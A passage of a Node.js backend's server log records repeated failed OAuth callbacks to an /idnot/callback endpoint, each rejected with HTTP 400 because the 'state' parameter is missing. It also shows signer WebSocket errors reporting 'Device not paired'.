[dotenv@17.2.2] injecting env (42) from .env -- tip: ⚙️ enable debug logging with { debug: true } ℹ️ [INFO] 2025-09-23T06:59:37.186Z Initializing Signer service Server started on port 8080 ✅ Connected to SDK Signer server ℹ️ [INFO] 2025-09-23T06:59:37.199Z Signer connected ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer connected ℹ️ [INFO] 2025-09-23T06:59:37.200Z Signer service initialized [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:00:02.417Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3i'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610802412_yynntck2i' } ❌ [ERROR] 2025-09-23T07:00:02.423Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEWo47vzF-xf7tbbvjzBUQ3imxWB_QL8ZqVT-_Ndo2GNXMEzvoYvMmo2axmVqQLCpn7SEbp9Fy3qtP3t-4cYC1D6ouBK96HX1Frz7dQZSs6DSsQIkIyC0IJI1qsEXP_HWvPxodxvW9VKW3LrDcJWegvT_a7Hk-eBDu3Xn4s6q31tMDIBIu0_vHwOpxPyw3FmA0_rpyXWPYDB666i3WzFkwjOoPqiJ8vjvsSD93PKDS9BpcbMjbTRWNau0-gvtQFj2wvJP5X4C61ySsV70rkMFcddj3IDC_KSmmIy78Xvswi4DNn0phYKpz1PbJSRxMLiXKzsOUxzzR12MAjCqwPx8x-IzLvPX-fE9QH9qKuU-9ylaHUhwPQRiRWASsyIhwow8Kh4zQcCUVnOezsYATmamR3qNK8SD6U3qFOjeEsx87dl-eV8FXYH5T9EQ5Y - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 10, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1D_f4df2DrEpQReBt6rjTMR9EdKPBphCFIFhn1_DikpRZWtOqkCYOboswn6tB-6uSgfnAAQmFqXQrOqXiGWYt9UBZzwgMU4sWU0CUozKZTEMbUjWOuKEW'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610802412_yynntck2i', response: { statusCode: 400 } } Server error: Device not paired Full error response: { "type": "ERROR", "error": "Device not paired", "messageId": "msg_1758610807192_xooajh1s6" } ❌ [ERROR] 2025-09-23T07:00:07.195Z Signer WebSocket error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ❌ [ERROR] 2025-09-23T07:00:07.195Z Signer connection error ──────────────────────────────────────────────────────────────────────────────── { error: 'Device not paired' } ⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected - reconnecting... ⚠️ [WARN] 2025-09-23T07:00:07.195Z Signer disconnected ⚠️ [WARN] 2025-09-23T07:00:07.196Z Signer health check failed - connection may be stale ──────────────────────────────────────────────────────────────────────────────── { error: 'Server error for GET_PAIRING_ID: Device not paired' } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:00:31.857Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610831856_sm2lnovvb' } ❌ [ERROR] 2025-09-23T07:00:31.859Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 3, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610831856_sm2lnovvb', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:01:06.293Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw5'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610866292_w90bmpvi3' } ❌ [ERROR] 2025-09-23T07:01:06.295Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm5CHQeL2oX5CMPZNtiHPw59mdvsKss9t1KlqRqZyPqiUen4g4AbnsNJhfwe_91yUznwfQuf3C4o0H6sc-NHgOf62iIZAREFELRERXJ5UbEHiw2CEYoI08cnZd6pQNqK6KGxM7-nR58jzu_bqW-2pSUOgEBwfZYdXfkQfdf2C-DIbfx0fAETbaKIn5Y204pDxq234JmFr9oP2SOgckzvBL0b7Dy4DSD6Gi5M5jSSK-xQA9i2WJ9QDWeVRWnHeEDnS8ENBE80JCKCA5KSXYaZ8YV3Nh5btElf8_jfmlJ79IjiUQAt2wGFts65CSiBMDxEdbl1QowZpd0enzcMTReMVi5hpsewKLmVDqWkOcGZWaXIYK4DG4M8AKyBpWRcappA6QlHB2hUt-VVI-OzzMyknez0VvbTwONgpIpadHYUKOQC3C6mOlYWqGEdEc - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsL_g4qkSfOOPDgeYjoTVULrWqfmqAW68WRreol27jpK1F9e6pDbx0o9VDKlAHOpo28mLBUWbT0IDXLzJeRLv7tjBk6MFIZm'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610866292_w90bmpvi3', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:01:18.335Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610878334_jq1o0s6v4' } ❌ [ERROR] 2025-09-23T07:01:18.336Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610878334_jq1o0s6v4', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:02:04.633Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610924632_u6m9vcjhw' } ❌ [ERROR] 2025-09-23T07:02:04.635Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758610924632_u6m9vcjhw', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '86.253.219.131', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T07:06:58.044Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' }, requestId: 'req_1758611218043_bh36ptj0m' } ❌ [ERROR] 2025-09-23T07:06:58.045Z HTTP GET 